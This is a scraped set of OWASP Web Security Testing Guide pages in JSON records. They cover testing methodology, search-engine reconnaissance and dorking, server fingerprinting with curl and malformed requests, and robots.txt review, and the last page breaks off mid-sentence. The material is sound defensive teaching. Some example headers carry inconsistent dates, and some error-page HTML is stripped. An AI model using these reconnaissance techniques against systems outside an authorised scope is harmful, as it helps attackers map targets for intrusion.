{"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "00-Introduction and Objectives"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Introduction and Objectives"}, {"uroven": 2, "text": "What is Web Application Security Testing?"}, {"uroven": 2, "text": "What is a Vulnerability?"}, {"uroven": 2, "text": "What is a Threat?"}, {"uroven": 2, "text": "What is a Test?"}, {"uroven": 2, "text": "The Approach in Writing this Guide"}, {"uroven": 2, "text": "What Is the OWASP Testing Methodology?"}, {"uroven": 3, "text": "Passive Testing"}, {"uroven": 3, "text": "Active Testing"}], "markdown": "# WSTG - Latest\n\n# Introduction and Objectives\n\nThis section describes the OWASP web application security testing methodology and explains how to test for evidence of vulnerabilities within the application due to deficiencies with identified security controls.\n\n## What is Web Application Security Testing?\n\nA security test is a method of evaluating the security of a computer system or network by methodically validating and verifying the effectiveness of application security controls. A web application security test focuses only on evaluating the security of a web application. The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner, together with an assessment of the impact, a proposal for mitigation or a technical solution.\n\n## What is a Vulnerability?\n\nA vulnerability is a flaw or weakness in a system’s design, implementation, operation or management that could be exploited to compromise the system’s security objectives.\n\n## What is a Threat?\n\nA threat is anything (a malicious external attacker, an internal user, a system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file system) by exploiting a vulnerability.\n\n## What is a Test?\n\nA test is an action to demonstrate that an application meets the security requirements of its stakeholders.\n\n## The Approach in Writing this Guide\n\nThe OWASP approach is open and collaborative:\n\n- Open: every security expert can participate with their experience in the project. Everything is free.\n- Collaborative: brainstorming is performed before the articles are written so the team can share ideas and develop a collective vision of the project. That means rough consensus, a wider audience and increased participation.\n\nThis approach tends to result in a defined Testing Methodology that will be:\n\n- Consistent\n- Reproducible\n- Rigorous\n- Under quality control\n\nThe problems to be addressed are fully documented and tested. It is important to use various methods to test all the known vulnerabilities and document all the security test activities.\n\n## What Is the OWASP Testing Methodology?\n\nSecurity testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. In fact, security testing is only one of the several suitable techniques for testing the security of web applications under certain circumstances. The goal of this project is to collect all the possible testing techniques, explain these techniques, and keep the guide updated. The OWASP Web Application Security Testing methodology is based on the black box approach. The tester has little to no information about the application to be tested.\n\nThe testing model consists of:\n\n- Tester: Who performs the testing activities\n- Tools and methodology: The core of this Testing Guide project\n- Application: The black box to test\n\nTesting can be categorized as passive or active:\n\n### Passive Testing\n\nDuring passive testing, a tester tries to understand the application’s logic and explores the application as an end user. Tools can be used for information gathering. For example, an HTTP(S) proxy can be used to observe all the HTTP(S) requests and responses. At the end of this phase, the tester should generally understand all the access points and functionality of the system (e.g., HTTP headers, parameters, cookies, APIs, technology usage/patterns, etc). The [Information Gathering](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README) section explains how to perform passive testing.\n\nFor example, a tester may find a page at the following URL: `https://www.example.com/login/auth_form`\n\nThis may indicate an authentication form where the application requests a username and password.\n\nThe following parameters represent two access points to the application: `https://www.example.com/appx?a=1&b=1`\n\nIn this case, the application has two access points (parameters `a` and `b`). All the input points found in this phase represent targets for testing. Keeping track of the directory or call tree of the application and all the access points can be useful during active testing.\n\n### Active Testing\n\nDuring active testing, a tester uses the methodologies described in the following sections.\n\nThe set of active tests have been split into 12 categories:\n\n- Information Gathering\n- Configuration and Deployment Management Testing\n- Identity Management Testing\n- Authentication Testing\n- Authorization Testing\n- Session Management Testing\n- Injection Testing\n- Error Handling\n- Weak Cryptography\n- Business Logic Testing\n- Client-side Testing\n- API Testing\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4819, "slov": 702, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:48", "sha256": "87d6200c68b8a0d4d8d380a6f4645f4aef55da56c4ef156da6462a3bba4bce1d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Reconnaissance_for_Information_Leakage", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Reconnaissance_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Reconnaissance_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Conduct Search Engine Reconnaissance for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Search Engines"}, {"uroven": 3, "text": "Search Operators"}, {"uroven": 4, "text": "Internet Archive Wayback Machine"}, {"uroven": 4, "text": "Other Cached Content Services"}, {"uroven": 3, "text": "Automated Archive URL Collection"}, {"uroven": 3, "text": "Google Hacking or Dorking"}, {"uroven": 2, "text": "OSINT Correlation Tools"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - Latest\n\n# Conduct Search Engine Reconnaissance for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-01 |\n\n## Summary\n\nIn order for search engines to work, computer programs (or `robots`) regularly fetch data (referred to as [crawling](https://en.wikipedia.org/wiki/Web_crawler)) from billions of pages on the web. These programs find web content and functionality by following links from other pages, or by looking at sitemaps. If a site uses a special file called `robots.txt` to list pages that it does not want search engines to fetch, then the pages listed there will be ignored. This is a basic overview - Google offers a more in-depth explanation of [how a search engine works](https://support.google.com/webmasters/answer/70897?hl=en).\n\nTesters can use search engines to perform reconnaissance on sites and web applications. There are direct and indirect elements to search engine discovery and reconnaissance: direct methods relate to searching the indices and the associated content from caches, while indirect methods relate to learning sensitive design and configuration information by searching forums, newsgroups, and tendering sites.\n\nOnce a search engine robot has completed crawling, it commences indexing the web content based on tags and associated attributes, such as ``, in order to return relevant search results. If the `robots.txt` file is not updated during the lifetime of the site, and in-line HTML meta tags that instruct robots not to index content have not been used, then it is possible for indices to contain web content not intended to be included by the owners. Site owners may use the previously mentioned `robots.txt`, HTML meta tags, authentication, and tools provided by search engines to remove such content.\n\n## Test Objectives\n\n- Identify what sensitive design and configuration information of the application, system, or organization is exposed directly (on the organization’s site) or indirectly (via third-party services).\n\n## How to Test\n\nUse a search engine to search for potentially sensitive information. This may include:\n\n- network diagrams and configurations;\n- archived posts and emails by administrators or other key staff;\n- logon procedures and username formats;\n- usernames, passwords, and private keys;\n- third-party, or cloud service configuration files;\n- revealing error message content; and\n- non-public applications (development, test, User Acceptance Testing (UAT), and staging versions of sites).\n\n### Search Engines\n\nDo not limit testing to just one search engine provider, as different search engines may generate different results. Search engine results can vary in a few ways, depending on when the engine last crawled content, and the algorithm the engine uses to determine relevant pages. Consider using the following (alphabetically listed) search engines:\n\n- [Baidu](https://www.baidu.com/) , China’s [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) search engine.\n- [Bing](https://www.bing.com/) , a search engine owned and operated by Microsoft, and the second [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) worldwide. Supports [advanced search keywords](https://help.bing.microsoft.com/#apex/18/en-US/10001/-1) .\n- [binsearch.info](https://binsearch.info/) , a search engine for binary Usenet newsgroups.\n- [Common Crawl](https://commoncrawl.org/) , “an open repository of web crawl data that can be accessed and analyzed by anyone.”\n- [DuckDuckGo](https://duckduckgo.com/) , a privacy-focused search engine that compiles results from many different [sources](https://help.duckduckgo.com/results/sources/) . Supports [search syntax](https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/) .\n- [Google](https://www.google.com/) , which offers the world’s [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) search engine, and uses a ranking system to attempt to return the most relevant results. Supports [search operators](https://support.google.com/websearch/answer/2466433) .\n- [Internet Archive Wayback Machine](https://archive.org/web/) , “building a digital library of internet sites and other cultural artifacts in digital form.”\n- [Censys](https://censys.io) is a security-focused search engine that indexes internet-connected infrastructure including servers, certificates,and open services. It offers a free community tier with limited monthly credits and paid plans for enterprise use.\n- [Shodan](https://www.shodan.io/) , a service for searching internet-connected devices and services. Usage options include a limited free plan as well as paid subscription plans.\n\n### Search Operators\n\nA search operator is a special keyword or syntax that extends the capabilities of regular search queries, and can help obtain more specific results. They generally take the form of `operator:query`. Here are some commonly supported search operators:\n\n- `site:` will limit the search to the provided domain.\n- `inurl:` will only return results that include the keyword in the URL.\n- `intitle:` will only return results that have the keyword in the page title.\n- `intext:` or `inbody:` will only search for the keyword in the body of pages.\n- `filetype:` will match only a specific file type, i.e. `.png` , or `.php` .\n\nFor example, to find the web content of owasp.org as indexed by a typical search engine, the syntax required is:\n\n```\nsite:owasp.org\n```\n\n*Figure 4.1.1-1: Google Site Operation Search Result Example*\n\n#### Internet Archive Wayback Machine\n\nThe [Internet Archive Wayback Machine](https://archive.org/web/) is the most comprehensive tool for viewing historical snapshots of web pages. It maintains an extensive archive of web pages dating back to 1996.\n\nTo view archived versions of a site, visit `https://web.archive.org/web/*/`\nfollowed by the target URL:\n\n```\nhttps://web.archive.org/web/*/owasp.org\n```\n\nThis will display a calendar view showing all available snapshots of the site over time.\n\n#### Other Cached Content Services\n\nAdditional services for viewing cached or archived web pages include:\n\n- [archive.ph](https://archive.ph) (also known as archive.md) - On-demand archiving service that creates permanent snapshots\n- [CachedView](https://cachedview.com/) - Aggregates cached pages from multiple sources including Google Cache historical data, Wayback Machine, and others\n\n### Automated Archive URL Collection\n\nIn addition to browsing the Wayback Machine calendar view, testers commonly automate the collection of historical URLs. These URLs frequently reveal forgotten endpoints, old API paths, backup files, and parameters that are no longer linked from the live application.\n\n- [gau](https://github.com/lc/gau) - Aggregates known URLs from AlienVault OTX, the Wayback Machine, and Common Crawl.\n- [waybackurls](https://github.com/tomnomnom/waybackurls) - Fetches URLs known to the Wayback Machine for a domain.\n- [waymore](https://github.com/xnl-h4ck3r/waymore) - Expands coverage across Wayback Machine, Common Crawl, AlienVault OTX, URLScan, and VirusTotal, and can also retrieve historical responses.\n\nExample workflow:\n\n```\ngau example.com --verbose --threads 8 | tee gau.txt\n```\n\n```\nWARN[0000] error reading config: Config file /Users/whoever/.gau.toml not found, using default config\nINFO[0000] fetching example.com page=0 provider=wayback\nINFO[0000] fetching example.com page=0 provider=urlscan\nINFO[0000] fetching example.com page=0 provider=otx\nhttps://code.example.com/team/content.git@\nhttps://code.example.com/team/content.git\nhttps://example.com/smoke-slug\nhttps://example.com/pay\nhttps://app.example.com\n...\n```\n\n```\nwaybackurls example.com | tee wayback.txt\n```\n\n```\nhttps://example.com/\nhttps://example.com/robots.txt\nhttps://example.com/sitemap.xml\nhttps://example.com/old-api/v1/users\nhttps://backup.example.com/db.sql\n...\n```\n\n```\nwaymore -i example.com -mode U -o waymore.txt\n```\n\n```\nwaymore v0.10 by Xnl-h4ck3r\n[+] Getting URLs from Wayback Machine, Common Crawl, AlienVault OTX, URLScan and VirusTotal\nhttps://example.com/\nhttps://example.com/careers\nhttps://staging.example.com/login\nhttps://example.com/backup.zip\n...\n```\n\n[unfurl](https://github.com/tomnomnom/unfurl) is useful for extracting components (keys, paths, domains, etc.) from large URL lists produced by the tools above.\n\n```\n# Expand and clean URLs (optional) cat gau.txt wayback.txt waymore.txt | unfurl --unique keys | sort -u > urls.txt\n```\n\n```\ndb.sql\nlogin\nold-api\nrobots.txt\nsitemap.xml\n...\n```\n\nThe resulting URL list can be filtered for interesting extensions, parameters, or status codes and later fed into content-discovery or vulnerability scanners. Always validate that discovered hosts and paths remain in scope.\n\n### Google Hacking or Dorking\n\nSearching with operators can be a very effective discovery technique when combined with the creativity of the tester. Operators can be chained to effectively discover specific kinds of sensitive files and information. This technique, called [Google hacking](https://en.wikipedia.org/wiki/Google_hacking) or Dorking, is also possible using other search engines, as long as the search operators are supported.\n\nA database of dorks, like the [Google Hacking Database](https://www.exploit-db.com/google-hacking-database), is a useful resource that can help uncover specific information.\nAI-assisted query generators such as [DorkGPT](https://www.dorkgpt.com) can translate natural language prompts into Google dork syntax, reducing the manual effort of constructing complex search operators.\nSome categories of dorks available on this database include:\n\n- Footholds\n- Files containing usernames\n- Sensitive Directories\n- Web Server Detection\n- Vulnerable Files\n- Vulnerable Servers\n- Error Messages\n- Files containing juicy info\n- Files containing passwords\n- Sensitive Online Shopping Info\n\n## OSINT Correlation Tools\n\nBeyond individual search engines, testers can use dedicated OSINT frameworks to correlate and visualize relationships between discovered entities:\n\n[Maltego](https://maltego.com) is an industry-standard OSINT and link analysis platform that maps relationships between domains, IP addresses, email addresses, and organizations through automated data transforms. Testers use it to visualize an organization’s attack surface by pivoting from a single entity to discover related infrastructure and associated data points. A free Community Edition is available for non-commercial use.\n\nAdditional modern OSINT tools commonly used alongside search-engine reconnaissance include:\n\n- [theHarvester](https://github.com/laramies/theHarvester) : Emails, subdomains and names Harvester - OSINT.\n- [Amass](https://github.com/owasp-amass/amass) (passive mode): In-depth attack surface mapping and asset discovery.\n- [subfinder](https://github.com/projectdiscovery/subfinder) : Fast passive subdomain enumeration tool.\n\n## Remediation\n\nCarefully consider the sensitivity of design and configuration information before it is posted online.\n\nPeriodically review the sensitivity of existing design and configuration information that is posted online.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10963, "slov": 1371, "odkazu": 229, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:50", "sha256": "ebfc8b645babb9db6e5d730c0e9276b346649101df38d2f3193dd8ce2883acf8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Web_crawler", "https://support.google.com/webmasters/answer/70897?hl=en", "https://www.baidu.com/", "https://en.wikipedia.org/wiki/Web_search_engine", "https://www.bing.com/", "https://help.bing.microsoft.com/", "https://binsearch.info/", "https://commoncrawl.org/", "https://duckduckgo.com/", "https://help.duckduckgo.com/results/sources/", "https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/", "https://www.google.com/", "https://support.google.com/websearch/answer/2466433", "https://archive.org/web/", "https://censys.io/", "https://www.shodan.io/", "https://archive.ph/", "https://cachedview.com/", "https://github.com/lc/gau", "https://github.com/tomnomnom/waybackurls", "https://github.com/xnl-h4ck3r/waymore", "https://github.com/tomnomnom/unfurl", "https://en.wikipedia.org/wiki/Google_hacking", "https://www.exploit-db.com/google-hacking-database", "https://www.dorkgpt.com/", "https://maltego.com/", "https://github.com/laramies/theHarvester", "https://github.com/owasp-amass/amass", "https://github.com/projectdiscovery/subfinder", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Fingerprint Web Server"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Sending Malformed Requests"}, {"uroven": 3, "text": "Using Automated Scanning Tools"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - Latest\n\n# Fingerprint Web Server\n\n| ID |\n| --- |\n| WSTG-INFO-02 |\n\n## Summary\n\nWeb server fingerprinting is the task of identifying the type and version of web server that a target is running on. While web server fingerprinting is often encapsulated in automated testing tools, it is important for researchers to understand the fundamentals of how these tools attempt to identify software, and why this is useful.\n\nAccurately discovering the type of web server that an application runs on can enable security testers to determine if the application is vulnerable to attack. In particular, servers running older versions of software without up-to-date security patches can be susceptible to known version-specific exploits.\n\n## Test Objectives\n\n- Determine the version and type of a running web server to enable further discovery of any known vulnerabilities.\n\n## How to Test\n\nTechniques used for web server fingerprinting include [banner grabbing](https://en.wikipedia.org/wiki/Banner_grabbing), eliciting responses to malformed requests, and using automated tools to perform more robust scans that use a combination of tactics. The fundamental premise on which all these techniques operate is the same. They all strive to elicit some response from the web server which can then be compared to a database of known responses and behaviors, and thus matched to a known server type.\n\nA banner grab is performed by sending an HTTP request to the web server and examining its [response header](https://developer.mozilla.org/en-US/docs/Glossary/Response_header). This can be done with `curl -I` (which sends a `HEAD` request and displays only the response headers), [httpx](https://github.com/projectdiscovery/httpx) for probing large host lists at scale, or `openssl s_client` for requests over TLS/SSL.\n\nAs an example, the following command retrieves only the response headers from a server:\n\n```\ncurl -I https://example.org\n```\n\nFor example, here is the response to a request sent to an Apache server.\n\n```\nHTTP/1.1 200 OK Date: Thu, 05 Sep 2019 17:42:39 GMT Server: Apache/2.4.43 (Unix) Last-Modified: Thu, 05 Sep 2026 17:40:42 GMT ETag: \"75-591d1d21b6167\" Accept-Ranges: bytes Content-Length: 117 Connection: close Content-Type: text/html ... \n```\n\nHere is another response, this time sent by Nginx.\n\n```\nHTTP/1.1 200 OK Server: nginx/1.31.5 Date: Thu, 05 Sep 2026 17:50:24 GMT Content-Type: text/html Content-Length: 117 Last-Modified: Thu, 05 Sep 2026 17:40:42 GMT Connection: close ETag: \"5d71489a-75\" Accept-Ranges: bytes ... \n```\n\nHere’s what a response sent by lighttpd looks like.\n\n```\nHTTP/1.1 200 OK Content-Type: text/html Accept-Ranges: bytes ETag: \"4192788355\" Last-Modified: Thu, 05 Sep 2026 17:40:42 GMT Content-Length: 117 Connection: close Date: Thu, 05 Sep 2026 17:57:57 GMT Server: lighttpd/1.4.85 ... \n```\n\nIn these examples, the server type and version is clearly exposed. However, security-conscious applications may obfuscate their server information by modifying the header. For example, here is an excerpt from the response to a request for a site with a modified header:\n\n```\nHTTP/1.1 200 OK\nServer: Website.com\nDate: Thu, 05 Sep 2019 17:57:06 GMT\nContent-Type: text/html; charset=utf-8\nStatus: 200 OK\n...\n```\n\nIn cases where the server information is obscured, testers may guess the type of server based on the ordering of the header fields. Notice that in the Apache example above, the fields follow this order:\n\n- Date\n- Server\n- Last-Modified\n- ETag\n- Accept-Ranges\n- Content-Length\n- Connection\n- Content-Type\n\nHowever, in both the Nginx and obscured server examples, the fields in common follow this order:\n\n- Server\n- Date\n- Content-Type\n\nTesters can use this information to guess that the obscured server is Nginx. However, considering that a number of different web servers may share the same field ordering and fields can be modified or removed, this method is not definite.\n\n### Sending Malformed Requests\n\nWeb servers may be identified by examining their error responses, and in the cases where they have not been customized, their default error pages. One way to compel a server to present these is by sending intentionally incorrect or malformed requests.\n\nFor example, here is the response to a request for the non-existent HTTP version `SANTA CLAUS` from an Apache server.\n\n```\nGET / SANTA CLAUS/1.1\n\nHTTP/1.1 400 Bad Request\nDate: Fri, 06 Sep 2019 19:21:01 GMT\nServer: Apache/2.4.41 (Unix)\nContent-Length: 226\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>400 Bad Request\n\n

Bad Request

\n

Your browser sent a request that this server could not understand.
\n

\n\n```\n\nHere is the response to the same request from Nginx.\n\n```\nGET / SANTA CLAUS/1.1\n\n\n404 Not Found\n\n

404 Not Found

\n
nginx/1.17.3
\n\n\n```\n\nHere is the response to the same request from lighttpd.\n\n```\nGET / SANTA CLAUS/1.1\n\nHTTP/1.0 400 Bad Request\nContent-Type: text/html\nContent-Length: 345\nConnection: close\nDate: Sun, 08 Sep 2019 21:56:17 GMT\nServer: lighttpd/1.4.54\n\n\n\n\n \n 400 Bad Request\n \n \n

400 Bad Request

\n \n\n```\n\nAs default error pages offer many differentiating factors between types of web servers, their examination can be an effective method for fingerprinting even when server header fields are obscured.\n\nFurthermore, this [resource](https://0xdf.gitlab.io/cheatsheets/404) can be handy, especially when you come across default error pages that do not disclose the web server type.\n\n### Using Automated Scanning Tools\n\nAs stated earlier, web server fingerprinting is often included as a functionality of automated scanning tools. These tools are able to make requests similar to those demonstrated above, as well as send other more server-specific probes. Automated tools can compare responses from web servers much faster than manual testing, and utilize large databases of known responses to attempt server identification. For these reasons, automated tools are more likely to produce accurate results.\n\nHere are some commonly-used scan tools that include web server fingerprinting functionality.\n\n- [Netcraft](https://toolbar.netcraft.com/site_report) , an online tool that scans sites for information, including web server details.\n- [Nikto](https://github.com/sullo/nikto) , an Open Source command-line scanning tool.\n- [Nmap](https://nmap.org/) , an Open Source command-line tool that also has a GUI, [Zenmap](https://nmap.org/zenmap/) .\n\n## Remediation\n\nWhile exposed server information is not necessarily in itself a vulnerability, it is information that can assist attackers in exploiting other vulnerabilities that may exist. Exposed server information can also lead attackers to find version-specific server vulnerabilities that can be used to exploit unpatched servers. For this reason it is recommended that some precautions be taken. These actions include:\n\n- Obscuring web server information in headers, such as with Apache’s [mod_headers module](https://httpd.apache.org/docs/current/mod/mod_headers.html) .\n- Using a hardened [reverse proxy server](https://en.wikipedia.org/wiki/Proxy_server#Reverse_proxies) to create an additional layer of security between the web server and the internet.\n- Ensuring that web servers are kept up-to-date with the latest software and security patches.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7712, "slov": 1105, "odkazu": 210, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:51", "sha256": "e86a62fe9ab85e35aa23244c86d936e3bfe260a630add5800bceacba5435a619", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Banner_grabbing", "https://developer.mozilla.org/en-US/docs/Glossary/Response_header", "https://github.com/projectdiscovery/httpx", "https://0xdf.gitlab.io/cheatsheets/404", "https://toolbar.netcraft.com/site_report", "https://github.com/sullo/nikto", "https://nmap.org/", "https://nmap.org/zenmap/", "https://httpd.apache.org/docs/current/mod/mod_headers.html", "https://en.wikipedia.org/wiki/Proxy_server", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Review Webserver Metafiles for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Robots"}, {"uroven": 4, "text": "AI Crawlers"}, {"uroven": 4, "text": "Analyze robots.txt Using Google Webmaster Tools"}, {"uroven": 3, "text": "META Tags"}, {"uroven": 4, "text": "Robots META Tag"}, {"uroven": 4, "text": "Miscellaneous META Information Tags"}, {"uroven": 3, "text": "Sitemaps"}, {"uroven": 3, "text": "Security TXT"}, {"uroven": 3, "text": "Humans TXT"}, {"uroven": 3, "text": "Other .well-known Information Sources"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - Latest\n\n# Review Webserver Metafiles for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-03 |\n\n## Summary\n\nThis section describes how to test various metadata files for information leakage of the web application’s path(s), or functionality. Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for [Map execution paths through application](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application). Other information may also be collected to identify attack surface, technology details, or for use in social engineering engagement.\n\n## Test Objectives\n\n- Identify hidden or obfuscated paths and functionality through the analysis of metadata files.\n- Extract and map other information that could lead to a better understanding of the systems at hand.\n\n## How to Test\n\n> Any of the actions performed below with `wget` could also be done with `curl`. Many Dynamic Application Security Testing (DAST) tools such as ZAP and Burp Suite include checks or parsing for these resources as part of their spider/crawler functionality. They can also be identified using various [Google Dorks](https://en.wikipedia.org/wiki/Google_hacking) or leveraging advanced search features such as `inurl:`.\n\n### Robots\n\nWeb Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the [Robots Exclusion Protocol](https://datatracker.ietf.org/doc/html/rfc9309) ([RFC 9309](https://datatracker.ietf.org/doc/html/rfc9309)) via a `robots.txt` file in the web root directory.\n\nAs an example, a sample of the `robots.txt` file from [Google](https://www.google.com/robots.txt) sampled on 2026 Sept 13 is quoted below:\n\n```\nUser-agent: *\nUser-agent: Yandex\nDisallow: /search\nAllow: /search/about\nAllow: /search/howsearchworks\nDisallow: /sdch\nDisallow: /groups\n...\n# Crawlers of certain social media sites are allowed to access page markup when\n# google.com/imgres* links are shared. To learn more, please contact\n# images-robots-allowlist@google.com.\nUser-agent: facebookexternalhit\nUser-agent: Twitterbot\nAllow: /imgres\nAllow: /search\nDisallow: /groups\nDisallow: /hosted/images/\nDisallow: /m/\n\nSitemap: https://www.google.com/sitemap.xml\n```\n\nThe [User-Agent](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent) directive refers to the specific web spider/robot/crawler. For example, the `User-Agent: Googlebot` refers to the spider from Google while `User-Agent: bingbot` refers to a crawler from Microsoft. `User-Agent: *` in the example above applies to all [web 